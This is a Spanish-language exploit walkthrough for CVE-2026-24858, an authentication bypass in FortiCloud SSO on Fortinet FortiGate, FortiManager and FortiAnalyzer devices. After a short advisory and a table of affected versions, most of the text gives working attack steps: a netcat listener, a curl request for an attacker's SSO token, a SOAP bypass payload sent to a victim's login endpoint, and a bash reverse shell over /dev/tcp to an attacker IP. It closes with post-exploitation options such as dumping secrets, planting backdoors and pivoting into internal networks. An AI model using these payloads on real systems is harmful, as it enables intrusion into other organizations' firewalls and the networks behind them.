
CVE-2026-24858 FortiCloud Single Sign On (SSO): una función habilitada por defecto de fábrica una vez que registras cualquier FortiGate/FortiManager/FortiAnalyzer contiene una vulnerabilidad crítica de omisión de autenticación.
FortiCloud Single-Sign-On (SSO), una función habilitada por defecto de fábrica una vez que registras cualquier FortiGate/FortiManager/FortiAnalyzer, contiene una vulnerabilidad crítica de bypass de autenticación.
Un atacante que posea cualquier cuenta de FortiCloud (gratuita o de pago) puede reutilizar su token SSO para iniciar sesión en los dispositivos de otros clientes (≤ builds listados abajo) sin conocer sus contraseñas.
La post-explotación otorga acceso completo a la GUI de administración y shell root, permitiendo la interceptación de tráfico, manipulación de VPN o movimiento lateral hacia redes internas.
Actualice inmediatamente o deshabilite FortiCloud SSO hasta que se aplique el parche.
| Producto | Firmware Vulnerable | Parcheado |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | mismo major.minor+1 |
| FortiAnalyzer | mismos rangos | mismo |
Máquina del atacante
Listener para reverse shell:
nc -lvnp 4444
Obtener token del atacante (TTL de 15 min)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
Respuesta (fragmento):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
Copie el valor de access_token.
Construir payload de bypass
Guarde como bypass.xml:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
Enviar a la víctima (cualquier firmware ≤ tabla anterior)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → éxito.
Navegar por la GUI de administración
Abra el navegador o use curl con la cookie guardada:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ Aparece el Dashboard sin solicitar contraseña.
Shell root (widget CLI)
Dentro de la GUI: Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
El listener recibe:
root@FGT80ETK21000000:/#
| Escenario | Resultado |
|---|---|
| Admin de solo lectura | Exportar configuración completa (secretos VPN, políticas local-in, hashes de usuarios). |
| Admin de escritura | Alterar reglas de firewall, crear usuarios locales, deshabilitar logging, implantar scripts persistentes. |
| Shell root | Volcar config.dat, extraer claves HA, pivotar a subredes internas, implantar servicio backdoor. |
| Movimiento lateral | El dispositivo se convierte en punto de apoyo; VLANs y túneles SSL-VPN son confiables → brecha más profunda en la red. |
| Exfiltración de datos | Todo el tráfico pasa a través del FortiGate → proxy transparente + inyección de certificados. |